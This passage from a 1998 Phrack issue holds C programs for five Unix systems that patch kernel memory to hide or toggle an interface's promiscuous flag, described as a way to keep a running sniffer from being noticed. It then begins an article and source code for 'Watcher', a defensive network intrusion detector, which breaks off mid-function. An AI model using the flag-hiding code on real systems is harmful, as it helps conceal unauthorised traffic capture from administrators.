Note that these programs only change interface's flag value, they don't affect NIC status. On systems which allow setting promiscuous mode by SIOCSIFFLAGS however, any call to SIOCSIFFLAGS will make the change take effect (e.g. after clearing promisc flag:

'ifconfig <interface> up'

will really turn off promiscuous mode). Systems for which above is true are: FreeBSD, Linux, Irix. On these three you can run a sniffer in non‑promiscuous mode, and then some time later set IFF_PROIMISC on the interface, then with the above command set promiscuous mode for interface. This is most useful on FreeBSD because in doing this you won't get that annoying `promiscuous mode enabled for <interface>' message in the dmesg buffer (it's only logged when you enable promiscuous mode via bpf by BIOCPROMISC).

On Solaris, every alias has its own flags, so you can set flags for any alias:

'interface[:<alias number>]'

(because Solaris doesn't set IFF_PROMISC when you turn on promiscuous mode using DLPI you don't need this program however).

‑‑‑‑[ THE CODE

<++> EX/promisc/freebsd‑p.c

/*

* promiscuous flag changer v0.1, apk

* FreeBSD version, compile with ‑lkvm

*

* usage: promisc [interface 0|1]

*

* note: look at README for notes

*/

#ifdef __FreeBSD__

# include <osreldate.h>

# if __FreeBSD_version >= 300000

# define FBSD3

# endif

#endif

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <net/if.h>

#ifdef FBSD3

# include <net/if_var.h>

#endif

#include <kvm.h>

#include <nlist.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <fcntl.h>

#include <unistd.h>

#define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13OACTIVE\14SIMPLEX\15LINK0\16LINK1\17LINK2" \ "\20MULTICAST"

struct nlist nl[] = {

{ "_ifnet" },

#define N_IFNET 0

{ "" }

};

int kread(kvm_t *kd, u_long addr, void *buf, int len) {

int c;

if ((c = kvm_read(kd, addr, buf, len)) != len)

return ‑1;

return c;

}

int kwrite(kvm_t *kd, u_long addr, void *buf, int len) {

int c;

if ((c = kvm_write(kd, addr, buf, len)) != len)

return ‑1;

return c;

}

void usage(char *s) {

printf("usage: %s [interface 0|1]\n", s);

exit(1);

}

int main(int argc, char *argv[]) {

#ifdef FBSD3

struct ifnethead ifh;

#endif

struct ifnet ifn, *ifp;

char ifname[IFNAMSIZ];

int unit, promisc, i, any;

char *interface, *cp;

kvm_t *kd;

switch (argc) {

case 1:

promisc = ‑1;

interface = NULL;

break;

case 3:

interface = argv[1];

if ((cp = strpbrk(interface, "1234567890")) == NULL) { printf("bad interface name: %s\n", interface); exit(1);

}

unit = strtol(cp, NULL, 10);

*cp = 0;

promisc = atoi(argv[2]);

break;

default:

usage(argv[0]);

}

if ((kd = kvm_open(NULL, NULL, NULL, O_RDWR, argv[0])) == NULL) exit(1);

if (kvm_nlist(kd, nl) == ‑1) {

perror("kvm_nlist");

exit(1);

}

if (nl[N_IFNET].n_type == 0) {

printf("Cannot find symbol: %s\n", nl[N_IFNET].n_name); exit(1);

}

#ifdef FBSD3

if (kread(kd, nl[N_IFNET].n_value, &ifh, sizeof(ifh)) == ‑1) { perror("kread");

exit(1);

}

ifp = ifh.tqh_first;

#else

if (kread(kd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == ‑1) { perror("kread");

exit(1);

}

if (kread(kd, (u_long)ifp, &ifp, sizeof(ifp)) == ‑1) { perror("kread");

exit(1);

}

#endif

#ifdef FBSD3

for (; ifp; ifp = ifn.if_link.tqe_next) {

#else

for (; ifp; ifp = ifn.if_next) {

#endif

if (kread(kd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) { perror("kread");

break;

}

if (kread(kd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == ‑1) { perror("kread");

break;

}

printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit, (unsigned short)ifn.if_flags);

/* this is from ifconfig sources */

cp = IFFBITS;

any = 0;

putchar('<');

while ((i = *cp++) != 0) {

if (ifn.if_flags & (1 << (i‑1))) {

if (any)

putchar(',');

any = 1;

for (; *cp > 32; )

putchar(*cp++);

} else

for (; *cp > 32; cp++)

;

}

putchar('>');

putchar('\n');

if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) { switch (promisc) {

case ‑1:

break;

case 0: if ((ifn.if_flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n");

else {

printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit); ifn.if_flags &= ~IFF_PROMISC;

if (kwrite(kd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) perror("kwrite");

}

break;

default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n");

else {

printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit); ifn.if_flags |= IFF_PROMISC;

if (kwrite(kd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) perror("kwrite");

}

break;

}

}

}

}

<‑‑>

<++> EX/promisc/hpux‑p.c

/*

* promiscuous flag changer v0.1, apk

* HP‑UX version, on HP‑UX 9.x compile with ‑DHPUX9

*

* usage: promisc [interface 0|1]

*

* note: look at README for notes

*/

/* #define HPUX9 on HP‑UX 9.x */

#include <sys/types.h>

#include <sys/socket.h>

#include <net/if.h>

#include <nlist.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <fcntl.h>

#include <unistd.h>

#ifndef HPUX9

# define PATH_VMUNIX "/stand/vmunix"

#else

# define PATH_VMUNIX "/hp‑ux"

#endif

#define PATH_KMEM "/dev/kmem"

#define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13LOCALSUBNETS\14MULTICAST\15CKO\16xNOACC"

struct nlist nl[] = {

{ "ifnet" },

#define N_IFNET 0

{ "" }

};

int kread(fd, addr, buf, len)

int fd, len;

off_t addr;

void *buf;

{

int c;

if (lseek(fd, addr, SEEK_SET) == ‑1)

return ‑1;

if ((c = read(fd, buf, len)) != len)

return ‑1;

return c;

}

int kwrite(fd, addr, buf, len)

int fd, len;

off_t addr;

void *buf;

{

int c;

if (lseek(fd, addr, SEEK_SET) == ‑1)

return ‑1;

if ((c = write(fd, buf, len)) != len)

return ‑1;

return c;

}

void usage(s)

char *s;

{

printf("usage: %s [interface 0|1]\n", s);

exit(1);

}

main(argc, argv)

int argc;

char **argv;

{

struct ifnet ifn, *ifp;

char ifname[IFNAMSIZ];

int fd, unit, promisc, i, any;

char *interface, *cp;

switch (argc) {

case 1:

promisc = ‑1;

interface = NULL;

break;

case 3:

interface = argv[1];

if ((cp = strpbrk(interface, "1234567890")) == NULL) { printf("bad interface name: %s\n", interface); exit(1);

}

unit = strtol(cp, NULL, 10);

*cp = 0;

promisc = atoi(argv[2]);

break;

default:

usage(argv[0]);

}

if (nlist(PATH_VMUNIX, nl) == ‑1) {

perror(PATH_VMUNIX);

exit(1);

}

if (nl[N_IFNET].n_type == 0) {

printf("Cannot find symbol: %s\n", nl[0].n_name); exit(1);

}

if ((fd = open(PATH_KMEM, O_RDWR)) == ‑1) { perror(PATH_KMEM);

exit(1);

}

if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == ‑1) { perror("kread");

exit(1);

}

for (; ifp; ifp = ifn.if_next) {

if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) { perror("kread");

break;

}

if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == ‑1) { perror("kread");

break;

}

printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit, ifn.if_flags);

cp = IFFBITS;

any = 0;

putchar('<');

while ((i = *cp++) != 0) {

if (ifn.if_flags & (1 << (i‑1))) {

if (any)

putchar(',');

any = 1;

for (; *cp > 32; )

putchar(*cp++);

} else

for (; *cp > 32; cp++)

;

}

putchar('>');

putchar('\n');

if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) { switch (promisc) {

case ‑1:

break;

case 0: if ((ifn.if_flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n");

else {

printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit); ifn.if_flags &= ~IFF_PROMISC;

if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) break;

}

break;

default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n");

else {

printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit); ifn.if_flags |= IFF_PROMISC;

if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) break;

}

}

}

}

}

<‑‑>

<++> EX/promisc/irix‑p.c

/*

* promiscuous flag changer v0.1, apk

* Irix version, on Irix 6.x compile with ‑lelf, on 5.x with ‑lmld *

* usage: promisc [interface 0|1]

*

* note: look at README for notes on irix64 compile with ‑DI64 ‑64 */

/* #define I64 for Irix64*/

#include <sys/types.h>

#include <sys/socket.h>

#include <net/if.h>

#include <nlist.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <fcntl.h>

#include <unistd.h>

#define PATH_VMUNIX "/unix"

#define PATH_KMEM "/dev/kmem"

#define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13LOCALSUBNETS\14MULTICAST\15CKO\16xNOACC"

#ifdef I64

struct nlist64 nl[] = {

#else

struct nlist nl[] = {

#endif

{ "ifnet" },

#define N_IFNET 0

{ "" }

};

int kread(int fd, off_t addr, void *buf, int len) {

int c;

#ifdef I64

if (lseek64(fd, (off_t)addr, SEEK_SET) == ‑1)

#else

if (lseek(fd, (off_t)addr, SEEK_SET) == ‑1)

#endif

return ‑1;

if ((c = read(fd, buf, len)) != len)

return ‑1;

return c;

}

int kwrite(int fd, off_t addr, void *buf, int len) {

int c;

#ifdef I64

if (lseek64(fd, (off_t)addr, SEEK_SET) == ‑1)

#else

if (lseek(fd, (off_t)addr, SEEK_SET) == ‑1)

#endif

return ‑1;

if ((c = write(fd, buf, len)) != len)

return ‑1;

return c;

}

void usage(s)

char *s;

{

printf("usage: %s [interface 0|1]\n", s);

exit(1);

}

main(argc, argv)

int argc;

char **argv;

{

struct ifnet ifn, *ifp;

char ifname[IFNAMSIZ];

int fd, unit, promisc, i, any;

char *interface, *cp;

switch (argc) {

case 1:

promisc = ‑1;

interface = NULL;

break;

case 3:

interface = argv[1];

if ((cp = strpbrk(interface, "1234567890")) == NULL) { printf("bad interface name: %s\n", interface); exit(1);

}

unit = strtol(cp, NULL, 10);

*cp = 0;

promisc = atoi(argv[2]);

break;

default:

usage(argv[0]);

}

#ifdef I64

if (nlist64(PATH_VMUNIX, nl) == ‑1) {

#else

if (nlist(PATH_VMUNIX, nl) == ‑1) {

#endif

perror(PATH_VMUNIX);

exit(1);

}

if (nl[N_IFNET].n_type == 0) {

printf("Cannot find symbol: %s\n", nl[0].n_name); exit(1);

}

if ((fd = open(PATH_KMEM, O_RDWR)) == ‑1) { perror(PATH_KMEM);

exit(1);

}

if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == ‑1) { perror("kread");

exit(1);

}

for (; ifp; ifp = ifn.if_next) {

if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) { perror("kread");

break;

}

if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == ‑1) { perror("kread");

break;

}

printf("%d: %s%d, flags=0x%x ", ifn.if_index, ifname, ifn.if_unit, ifn.if_flags);

cp = IFFBITS;

any = 0;

putchar('<');

while ((i = *cp++) != 0) {

if (ifn.if_flags & (1 << (i‑1))) {

if (any)

putchar(',');

any = 1;

for (; *cp > 32; )

putchar(*cp++);

} else

for (; *cp > 32; cp++)

;

}

putchar('>');

putchar('\n');

if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) { switch (promisc) {

case ‑1:

break;

case 0: if ((ifn.if_flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n");

else {

printf("\t%s%d: clearing IFF_PROMISC\n", ifname, unit); ifn.if_flags &= ~IFF_PROMISC;

if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) break;

}

break;

default: if ((ifn.if_flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n");

else {

printf("\t%s%d: setting IFF_PROMISC\n", ifname, unit); ifn.if_flags |= IFF_PROMISC;

if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == ‑1) break;

}

}

}

}

}

<‑‑>

<++> EX/promisc/linux‑p.c

/*

* promiscuous flag changer v0.1, apk

* Linux version

*

* usage: promisc [interface 0|1]

*

* note: look at README for notes

*/

#include <sys/types.h>

#include <sys/socket.h>

#include <net/if.h>

#define __KERNEL__

#include <linux/netdevice.h>

#undef __KERNEL__

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <fcntl.h>

#include <unistd.h>

#define HEAD_NAME "dev_base"

#define PATH_KSYMS "/proc/ksyms"

#define PATH_KMEM "/dev/mem"

#define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13MASTER\14SLAVE\15MULTICAST"

int kread(int fd, u_long addr, void *buf, int len) {

int c;

if (lseek(fd, (off_t)addr, SEEK_SET) == ‑1)

return ‑1;

if ((c = read(fd, buf, len)) != len)

return ‑1;

return c;

}

int kwrite(int fd, u_long addr, void *buf, int len) {

int c;

if (lseek(fd, (off_t)addr, SEEK_SET) == ‑1)

return ‑1;

if ((c = write(fd, buf, len)) != len)

return ‑1;

return c;

}

void usage(char *s) {

printf("usage: %s [interface 0|1]\n", s);

exit(1);

}

main(int argc, char *argv[]) {

struct device devn, *devp;

char ifname[IFNAMSIZ];

int fd, unit, promisc, i, any;

char *interface, *cp;

FILE *fp;

char line[256], symname[256];

switch (argc) {

case 1:

promisc = ‑1;

interface = NULL;

break;

case 3:

interface = argv[1];

unit = 0;

if ((cp = strchr(interface, ':')) != NULL) { *cp++ = 0;

unit = strtol(cp, NULL, 10);

}

promisc = atoi(argv[2]);

break;

default:

usage(argv[0]);

}

if ((fp = fopen(PATH_KSYMS, "r")) == NULL) { perror(PATH_KSYMS);

exit(1);

}

devp = NULL;

while (fgets(line, sizeof(line), fp) != NULL &&

sscanf(line, "%x %s", &i, symname) == 2)

if (strcmp(symname, HEAD_NAME) == 0) {

devp = (struct device *)i;

break;

}

fclose(fp);

if (devp == NULL) {

printf("Cannot find symbol: %s\n", HEAD_NAME);

exit(1);

}

if ((fd = open(PATH_KMEM, O_RDWR)) == ‑1) { perror(PATH_KMEM);

exit(1);

}

if (kread(fd, (u_long)devp, &devp, sizeof(devp)) == ‑1) { perror("kread");

exit(1);

}

for (; devp; devp = devn.next) {

if (kread(fd, (u_long)devp, &devn, sizeof(devn)) == ‑1) { perror("kread");

break;

}

if (kread(fd, (u_long)devn.name, ifname, sizeof(ifname)) == ‑1) { perror("kread");

break;

}

printf("%s: flags=0x%x ", ifname, devn.flags);

cp = IFFBITS;

any = 0;

putchar('<');

while ((i = *cp++) != 0) {

if (devn.flags & (1 << (i‑1))) {

if (any)

putchar(',');

any = 1;

for (; *cp > 32; )

putchar(*cp++);

} else

for (; *cp > 32; cp++)

;

}

putchar('>');

putchar('\n');

/* This sux */

/* if (interface && strcmp(interface, ifname) == 0 && unit == ifn.if_unit) {*/

if (interface && strcmp(interface, ifname) == 0) { switch (promisc) {

case ‑1:

break;

case 0: if ((devn.flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n");

else {

printf("\t%s: clearing IFF_PROMISC\n", ifname);

devn.flags &= ~IFF_PROMISC;

if (kwrite(fd, (u_long)devp, &devn, sizeof(devn)) == ‑1) break;

}

break;

default: if ((devn.flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n");

else {

printf("\t%s: setting IFF_PROMISC\n", ifname); devn.flags |= IFF_PROMISC;

if (kwrite(fd, (u_long)devp, &devn, sizeof(devn)) == ‑1) break;

}

}

}

}

}

<‑‑>

<++> EX/promisc/socket‑p.c

/*

* This is really dumb program.

* Works on Linux, FreeBSD and Irix.

* Check README for comments.

*/

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/ioctl.h>

#include <net/if.h>

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char *argv[]) {

int sd;

struct ifreq ifr;

char *interface;

int promisc;

if (argc != 3) {

printf("usage: %s interface 0|1\n", argv[0]);

exit(1);

}

interface = argv[1];

promisc = atoi(argv[2]);

if ((sd = socket(AF_INET, SOCK_DGRAM, 0)) == ‑1) { perror("socket");

exit(1);

}

strncpy(ifr.ifr_name, interface, IFNAMSIZ);

if (ioctl(sd, SIOCGIFFLAGS, &ifr) == ‑1) { perror("SIOCGIFFLAGS");

exit(1);

}

printf("flags = 0x%x\n", (u_short)ifr.ifr_flags);

if (promisc)

ifr.ifr_flags |= IFF_PROMISC;

else

ifr.ifr_flags &= ~IFF_PROMISC;

if (ioctl(sd, SIOCSIFFLAGS, &ifr) == ‑1) { perror("SIOCSIFFLAGS");

exit(1);

}

close(sd);

}

<‑‑>

<++> EX/promisc/solaris‑p.c

/*

* promiscuous flag changer v0.1, apk

* Solaris version, compile with ‑lkvm ‑lelf

*

* usage: promisc [interface 0|1]

* (interface has "interface[:<alias number>]" format, e.g. le0:1 or le0) *

* note: look at README for notes because DLPI promiscuous request doesn't * set IFF_PROMISC this version is kinda useless.

*/

#include <sys/types.h>

#include <sys/time.h>

#include <sys/stream.h>

#include <sys/socket.h>

#include <net/if.h>

#define _KERNEL

#include <inet/common.h>

#include <inet/led.h>

#include <inet/ip.h>

#undef _KERNEL

#include <kvm.h>

#include <nlist.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <fcntl.h>

#include <unistd.h>

#define IFFBITS \ "\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING" \ "\10NOARP\11PROMISC\12ALLMULTI\13INTELLIGENT\14MULTICAST\15MULTI_BCAST" \ "\16UNNUMBERED\17PRIVATE"

struct nlist nl[] = {

{ "ill_g_head" },

#define N_ILL_G_HEAD 0

{ "" }

};

int kread(kvm_t *kd, u_long addr, void *buf, int len) {

int c;

if ((c = kvm_read(kd, addr, buf, len)) != len)

return ‑1;

return c;

}

int kwrite(kvm_t *kd, u_long addr, void *buf, int len) {

int c;

if ((c = kvm_write(kd, addr, buf, len)) != len)

return ‑1;

return c;

}

void usage(char *s) {

printf("usage: %s [interface 0|1]\n", s);

exit(1);

}

int main(int argc, char *argv[]) {

ill_t illn, *illp;

ipif_t ipifn, *ipifp;

char ifname[IFNAMSIZ]; /* XXX IFNAMSIZ? */

int unit, promisc, i, any;

char *interface, *cp;

kvm_t *kd;

switch (argc) {

case 1:

promisc = ‑1;

interface = NULL;

break;

case 3:

interface = argv[1];

unit = 0;

if ((cp = strchr(interface, ':')) != NULL) {

*cp++ = 0;

unit = strtol(cp, NULL, 10);

}

promisc = atoi(argv[2]);

break;

default:

usage(argv[0]);

}

if ((kd = kvm_open(NULL, NULL, NULL, O_RDWR, argv[0])) == NULL) exit(1);

if (kvm_nlist(kd, nl) == ‑1) {

perror("kvm_nlist");

exit(1);

}

if (nl[N_ILL_G_HEAD].n_type == 0) {

printf("Cannot find symbol: %s\n", nl[N_ILL_G_HEAD].n_name); exit(1);

}

if (kread(kd, nl[N_ILL_G_HEAD].n_value, &illp, sizeof(illp)) == ‑1) { perror("kread");

exit(1);

}

for (; illp; illp = illn.ill_next) {

if (kread(kd, (u_long)illp, &illn, sizeof(illn)) == ‑1) { perror("kread");

break;

}

if (kread(kd, (u_long)illn.ill_name, ifname, sizeof(ifname)) == ‑1) { perror("kread");

break;

}

ipifp = illn.ill_ipif;

/* on Solaris you can set different flags for every alias, so we do */

for (; ipifp; ipifp = ipifn.ipif_next) {

if (kread(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == ‑1) { perror("kread");

break;

}

printf("%s:%d, flags=0x%x ", ifname, ipifn.ipif_id, ipifn.ipif_flags); cp = IFFBITS;

any = 0;

putchar('<');

while ((i = *cp++) != 0) {

if (ipifn.ipif_flags & (1 << (i‑1))) {

if (any)

putchar(',');

any = 1;

for (; *cp > 32; )

putchar(*cp++);

} else

for (; *cp > 32; cp++)

;

}

putchar('>');

putchar('\n');

if (interface && strcmp(interface, ifname) == 0 && unit == ipifn.ipif_id){ switch (promisc) {

case ‑1:

break;

case 0: if ((ipifn.ipif_flags & IFF_PROMISC) == 0) printf("\tIFF_PROMISC not set\n");

else {

printf("\t%s:%d: clearing IFF_PROMISC\n", ifname, unit); ipifn.ipif_flags &= ~IFF_PROMISC;

if (kwrite(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == ‑1) perror("kwrite");

}

break;

default: if ((ipifn.ipif_flags & IFF_PROMISC) == IFF_PROMISC) printf("\tIFF_PROMISC set already\n");

else {

printf("\t%s:%d: setting IFF_PROMISC\n", ifname, unit); ipifn.ipif_flags |= IFF_PROMISC;

if (kwrite(kd, (u_long)ipifp, &ipifn, sizeof(ipifn)) == ‑1) perror("kwrite");

}

break;

}

}

}

}

}

<‑‑>

‑‑‑‑[ EOF

Watcher, NIDS for the masses

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 11 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Watcher

‑‑‑‑‑‑‑‑[ hyperion <hyperion@hacklab.com>

‑‑‑‑[ INTRODUCTION

Do you know if your system has been hacked? If you found those funny user accounts or that Trojaned program, its too late. You're owned. Chances are that your systems were scanned for holes before your systems were cracked. If you had just seen them coming you wouldn't be reloading that OS right now. Programs like TCP Wrappers do some good, but they don't see the stealth scans or DOS attacks. You could by a nice commercial network intrusion detector, but your wallet screams in agony. What you need is a low cost (as in free) fast, somewhat paranoid network monitor that watches all packets and uses few resources. Watcher provides this.

‑‑‑‑[ IMPLEMENTATION

Watcher examines all packets on the network interface and assumes they all are potentially hostile. Watcher examines every packet within a 10 second window, and, at the end of each window it will record any malicious activity it sees using syslog. Watcher currently detects the following attacks:

‑ All TCP scans

‑ All UDP scans

‑ Synflood attacks

‑ Teardrop attacks

‑ Land attacks

‑ Smurf attacks

‑ Ping of death attacks

All parameters and thresholds are configurable through command line options. You can also configure watcher to just look for scans or just look for DOS attacks. Watcher assumes any TCP packet other than a RST (which elicits no response) may be used to scan for services. If packets of any type are received by more than 7 different ports within the window, an event is logged. The same criteria are used for UDP scans. If watcher sees more than 8 SYN packets to the same port with no ACK's or FIN's associated with the SYN's, a synflood event is logged. If a fragmented UDP packet with an IP id of 242 is seen, it is assumed to be a teardrop attack since the published code uses an id of 242. This is somewhat lame since anyone could change the attacking code to use other id's. The code should track all fragmented IP's and check for overlapping offsets. I may do this in a future version. Any TCP SYN packets with source and destination address and ports the same is a identified as a land attack. If more than 5 ICMP ECHO REPLIES are seen within the window, Watcher assumes it may be a Smurf attack. Note that this is not a certainty, since someone your watching may just be pinging the hell out of someone. Watcher also assumes that any fragmented ICMP packet is bad, bad, bad. This catches attacks such as the ping of death.

Watcher has three modes of monitoring. In the default mode, it just watches for attacks against its own host. The second monitoring mode is to watch all hosts on it's class C subnet. In the third mode, it watches all hosts whose packets it sees. Watching multiple hosts is useful if you put Watcher on your border to external networks, or to have hosts watch out for each other in case one gets cracked before you can react. Even if log files are destroyed, the other host has a record.

It must be noted that since Watcher treats every packet as potentially hostile, it sometimes can report false positives. There are some checks in the code to minimize this by increasing its tolerance for certain activity. Unfortunately this also increases the rate at which scans can be done before Watcher notices. The usual false positives are TCP scans and synfloods, mostly resulting from WWW activity. Some web pages have many URL's to GIF files and other pretty stuff. Each of these may cause the client to open a separate TCP connection to download. Watcher sees these and treats them as a TCP scan of the client. To minimize this, watcher will only log TCP scans if more than 40 are received in the window AND the source port of the scan was 80. This of course can be configured higher or lower as desired. As for synfloods we will use the same WWW example above. If the client opens a lot of connections to the server right before the 10 second window expires and Watcher does not see the ACK's or FIN's for those SYN packets, Watcher will think the client is synflooding port 80 on the server. This only happens if watcher is watching the server, or if you are watching everyone. You may also get occasional false UDP scans if the system being watched makes lots of DNS queries within the window.

The output for Watcher is pretty simple. Every 10 seconds, any detected attacks are logged to syslog. The source and target IP's are logged along with the type of attack. Where appropriate, other information such as the number of packets, or the port involved are logged. If the attack is normally associated with false IP addresses, the MAC address is also logged. If the attack is external, the MAC will be for the local router that handled the packet. If it was from your LAN, you'll have the source machine and you can thank the sender in an appropriate manner.

‑‑‑‑[ PROGRAM EXECUTION

Watcher was written to run on Linux systems. Watcher has a variety of, most of the self‑explanatory. To execute watcher, simply run it in the background, usually from the system startup script. The options are:

Usage: watcher [options]

‑d device Use 'device' as the network interface device The first non‑loopback interface is the default ‑f flood Assume a synflood attack occurred if more than 'flood' uncompleted connections are received ‑h A little help here

‑i icmplimit Assume we may be part of a smurf attack if more than icmplimit ICMP ECHO REPLIES are seen

‑m level Monitor more than just our own host. A level of 'subnet' watches all addresses in our subnet and 'all' watches all addresses

‑p portlimit Logs a portscan alert if packets are received for more than portlimit ports in the timeout period. ‑r reporttype If reporttype is dos, only Denial Of Service attacks are reported. If reporttype is scan then only scanners are reported. Everything is reported by default.

‑t timeout Count packets and print potential attacks every timeout seconds

‑w webcount Assume we are being portscanned if more than webcount packets are received from port 80

Hopefully, watcher will keep your systems a little better protected. But remember that good security is multiple layers, and no single defense tool will save you by itself. If you forget this, you'll be reloading that OS one day.

‑‑‑‑[ THE CODE

<++> EX/Watcher.c

/***************************************

Program: watcher

A network level monitoring tool to detect incoming packets indicative of potential attacks.

This software detects low level packet scanners and several DOS attacks. Its primary use is to detect low level packet scans, since these are usually done first to identify active systems and services to mount further attacks.

The package assumes every incoming packet is potentially hostile. Some checks are done to minimize false positives, but on occasion a site may be falsely identified as having performed a packet scan or SYNFLOOD attack. This usually occurs if a large number of connections are done in a brief time right before the reporting timeout period (i.e. when browsing a WWW site with lots of little GIF's, each requiring a connection to download). You can also get false positives if you scan another site, since the targets responses will be viewed as a potential scan of your system.

By default, alerts are printed to SYSLOG every 10 seconds.

****************************************

#include <stdio.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <sys/file.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <netdb.h>

#include <string.h>

#include <errno.h>

#include <ctype.h>

#include <malloc.h>

#include <netinet/tcp.h>

#include <netinet/in_systm.h>

#include <net/if_arp.h>

#include <net/if.h>

#include <netinet/udp.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <linux/if_ether.h>

#include <syslog.h>

#define PKTLEN 96/* Should be enough for what we want */

#ifndef IP_MF

#define IP_MF0x2000

#endif

/***** WATCH LEVELS ******/

#define MYSELFONLY1

#define MYSUBNET2

#define HUMANITARIAN3

/***** REPORT LEVELS *****/

#define REPORTALL1

#define REPORTDOS2

#define REPORTSCAN3

struct floodinfo {

u_short sport;

struct floodinfo *next;

};

struct addrlist {

u_long saddr;

int cnt;

int wwwcnt;

struct addrlist *next;

};

struct atk {

u_long saddr;

u_char eaddr[ETH_ALEN];

time_t atktime;

};

struct pktin {

u_long saddr;

u_short sport;

u_short dport;

time_t timein;

u_char eaddr[ETH_ALEN];

struct floodinfo *fi;

struct pktin *next;

};

struct scaninfo {

u_long addr;

struct atk teardrop;

struct atk land;

struct atk icmpfrag;

struct pktin *tcpin;

struct pktin *udpin;

struct scaninfo *next;

u_long icmpcnt;

} ;

struct scaninfo *Gsilist = NULL, *Gsi;

u_long Gmaddr;

time_t Gtimer = 10, Gtimein;

int Gportlimit = 7;

int Gsynflood = 8;

int Gwebcount = 40;

int Gicmplimit = 5;

int Gwatchlevel = MYSELFONLY;

int Greportlevel = REPORTALL;

char *Gprogramname, *Gdevice = "eth0";

/******** IP packet info ********/

u_long Gsaddr, Gdaddr;

int Giplen, Gisfrag, Gid;

/****** Externals *************/

extern int errno;

extern char *optarg;

extern int optind, opterr;

void do_tcp(), do_udp(), do_icmp(), print_info(), process_packet(); void addtcp(), addudp(), clear_pktin(), buildnet();

void doargs(), usage(), addfloodinfo(), rmfloodinfo();

struct scaninfo *doicare(), *addtarget();

char *anetaddr(), *ether_ntoa();

u_char *readdevice();

main(argc, argv)

int argc;

char *argv[];

{

int pktlen = 0, i, netfd;

u_char *pkt;

char hostname[32];

struct hostent *hp;

time_t t;

doargs(argc, argv);

openlog("WATCHER", 0, LOG_DAEMON); if(gethostname(hostname, sizeof(hostname)) < 0)

{

perror("gethostname");

exit(‑1);

}

if((hp = gethostbyname(hostname)) == NULL)

{

fprintf(stderr, "Cannot find own address\n");

exit(‑1);

}

memcpy((char *)&Gmaddr, hp‑>h_addr, hp‑>h_length); buildnet();

if((netfd = initdevice(O_RDWR, 0)) < 0)

exit(‑1);

/* Now read packets forever and process them. */

t = time((time_t *)0);

while(pkt = readdevice(netfd, &pktlen))

{

process_packet(pkt, pktlen);

if(time((time_t *)0) ‑ t > Gtimer)

{

/* Times up. Print what we found and clean out old stuff. */

for(Gsi = Gsilist, i = 0; Gsi; Gsi = Gsi‑>next, i++)

{

clear_pktin(Gsi);

print_info();

Gsi‑>icmpcnt = 0;

}

t = time((time_t *)0);

}

}

}

/***************************************

Function: doargs

Purpose: sets values from environment or command line arguments.

****************************************

void doargs(argc, argv)

int argc;

char **argv;

{

char c;

